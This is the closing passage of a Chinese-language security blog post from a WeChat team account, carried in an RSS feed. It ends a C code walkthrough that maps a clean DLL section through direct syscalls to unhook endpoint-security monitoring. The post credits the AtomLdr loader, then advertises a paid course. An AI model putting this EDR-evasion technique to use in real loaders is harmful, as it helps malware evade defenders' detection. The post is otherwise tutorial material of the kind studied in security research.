inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;l&#39;</span>, L<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;l&#39;</span>, L&#39;s&#39;, L&#39;\\<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#39; };<br/>    _strcpy(FullName, Buf);<br/>    _strcat(FullName, DllName);<br/>    _RtlInitUnicodeString(&amp;UniStr, FullName);<br/>    InitializeObjectAttributes(&amp;ObjAtr, &amp;UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL);<br/>    INITIALIZE_SYSCALL(NTAPIs.NtOpenSection);<br/>    if (!NT_SUCCESS((STATUS = HellHall(&amp;hSection, SECTION_MAP_READ, &amp;ObjAtr)))) {<br/>#ifdef DEBUG<br/>        PRINTW(L&#34;[!] NtOpenSection Failed For \&#34;%s\&#34; With Status : 0x%0.8X [THAT&#39;</span>S PROB OK]\n<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;, FullName, STATUS);<br/>#endif // DEBUG<br/>        return NULL;<br/>    }<br/>    INITIALIZE_SYSCALL(NTAPIs.NtMapViewOfSection);<br/>    if (!NT_SUCCESS((STATUS = HellHall(hSection, NtCurrentProcess(), &amp;pModule, NULL, NULL, NULL, &amp;ViewSize, ViewShare, NULL, PAGE_READONLY)))) {<br/>#ifdef DEBUG<br/>        PRINTW(L&#34;</span>[!] NtMapViewOfSection Failed For \<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;%s\&#34; With Status : 0x%0.8X (Unhook.c:168)\n&#34;</span>, FullName, STATUS);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> pModule;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">到此为止我们实现了 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unhook</code> 加伪造的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 调用链的整体利用。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">参考代码和项目：<a href="https://github.com/NUL0x4C/AtomLdr" target="_blank">https://github.com/NUL0x4C/AtomLdr</a></p><hr style="font-size: inherit;color: inherit;line-height: inherit;height: 1px;margin-top: 1.5rem;margin-bottom: 1.5rem;border-right: none;border-bottom: none;border-left: none;border-top-style: dashed;border-top-color: rgb(165, 165, 165);"/><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">相信能看到这里，也是我们团队的老粉了，感谢各位师傅一直以来的关注和支持~</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001896" data-ratio="1.4777777777777779" data-s="300,640" style="width: 386px;height: 570px;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7a82667d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6cnXHicM5kANrMNhp2XkMP0h7KMgY9oMDDA36IuicjIqBVCOCqg3RUyHg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><strong style="font-size: inherit;color: inherit;line-height: inherit;">这里给大家安利一套课程，就是本文作者进行手把手教学的，课程内容非常不错，【曾哥认证（逃】，课程的大纲如下：</strong></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001897" data-ratio="1.2527777777777778" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=19b450ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6KicrfFvDRGK4HgGX1rDU3UBcYviaT1eeBG1atEYIbAL3r9tTFwuRic2Nw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如果感兴趣，欢迎加微信 djeijek 进行咨询，先到的师傅有优惠哦~</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001898" data-ratio="1.3631578947368421" data-s="300,640" style="width: 394px;height: 537px;" data-type="jpeg" data-w="950" src="https://wechat2rss.xlab.app/img-proxy/?k=ac01c6b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6XbASQq3mqpEZRwQpKcWx368txLdOO5JhFaL7jk7EZI8gY0c5J3FWeQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">我是凝，我在渊龙Sec安全团队等你<br/>微信公众号：渊龙Sec安全团队<br/>欢迎关注我，一起学习，一起进步~<br/>本篇文章为团队成员原创文章，请不要擅自盗取！</p></blockquote></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000063" data-ratio="1" data-s="300,640" style="" data-type="png" data-w="430" src="https://wechat2rss.xlab.app/img-proxy/?k=4c67e7ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfiajytAx7IbfPkMjLIyRLkDoUuREpP4SwzqNe9WfraEfyrUE4wZYFicQ6dUicmnWgycGicCiasp6jYC7OzDsicx8GmqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485559">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b8f64bb1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485559%26idx%3D1%26sn%3D0fd4d31956824b33c2abb39ab2d76374%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 11 Jul 2024 15:30:00 +0800</pubDate>
    </item>
  </channel>
</rss>